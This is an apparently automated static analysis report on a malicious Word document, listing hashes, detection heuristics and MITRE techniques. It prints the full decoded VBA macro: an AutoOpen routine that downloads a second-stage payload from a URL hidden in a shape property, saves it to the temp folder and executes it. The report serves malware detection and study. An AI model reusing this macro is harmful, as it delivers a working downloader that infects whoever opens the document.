Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 15731a6037944510…

MALICIOUS

Office (OOXML)

111.7 KB Created: 2020-07-30 08:04:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 4ac672cfae8499f66abacead3335a866 SHA-1: 4b0e73f2217863192ce448c82d40b8b3b76efea1 SHA-256: 15731a6037944510f53bd37eb5a8c76d762274397d7937b81c6386b8c1a81a2e
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro with an AutoOpen function. This macro is designed to download a second-stage payload from an external source, identified by the `ActiveDocument.Shapes(1).AlternativeText` property, and save it as 'main.theme' in the temporary directory. It then executes this downloaded file using `WshShell.exec`. The presence of the `OLE_VBA_PCODE_AUTOEXEC_EXEC` heuristic firing further supports the execution of malicious code.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1721 bytes
SHA-256: 0401906dd201f31312afde11ed6371893e3d7657dab8781dc032575a803a156a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "d66f7af9"
Sub AutoOpen()
Dim eff4ab47 As New cf2f796b
aaa = fc935e6d(ec585bbd)
f96a238b = eff4ab47.bb04d297(aaa, "")
c62450dc daf2dc9e, f96a238b
d6cc42b5 = fc935e6d(ActiveDocument.Shapes(1).Title)
Dim c27829d0 As New WshShell
c27829d0.exec "" & d6cc42b5 & " " & daf2dc9e
End Sub

Attribute VB_Name = "ee727641"
Sub c62450dc(e63a76aa, d11548e2)
Dim c2b42cfd
c2b42cfd = FreeFile
Open e63a76aa For Output As #c2b42cfd
Print #c2b42cfd, ac63f666(d11548e2)
Close #c2b42cfd
End Sub
Function daf2dc9e()
daf2dc9e = Environ("tmp") & "\main.theme"
End Function
Function fc935e6d(de68a3c0)
'fc935e6d = StrReverse(de68a3c0)
fc935e6d = de68a3c0
End Function
Sub e01f2157()
End Sub
Function ac63f666(d11548e2)
ac63f666 = StrConv(d11548e2, 64)
End Function
Function ec585bbd()
ec585bbd = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "cf2f796b"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function bb04d297(f43487d4, c1fdd8b5)
Dim d86d6762 As Object
Set d86d6762 = New MSXML2.XMLHTTP60
Call d86d6762.Open("GET", f43487d4, False)
d86d6762.Send
bb04d297 = d86d6762.responsebody
End Function
Function d2a60f63(f3645321)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 8456eae5cd62c0a09dda61fbce1e9fc4d1a79df035f99ea96e59dc7ad952b41a

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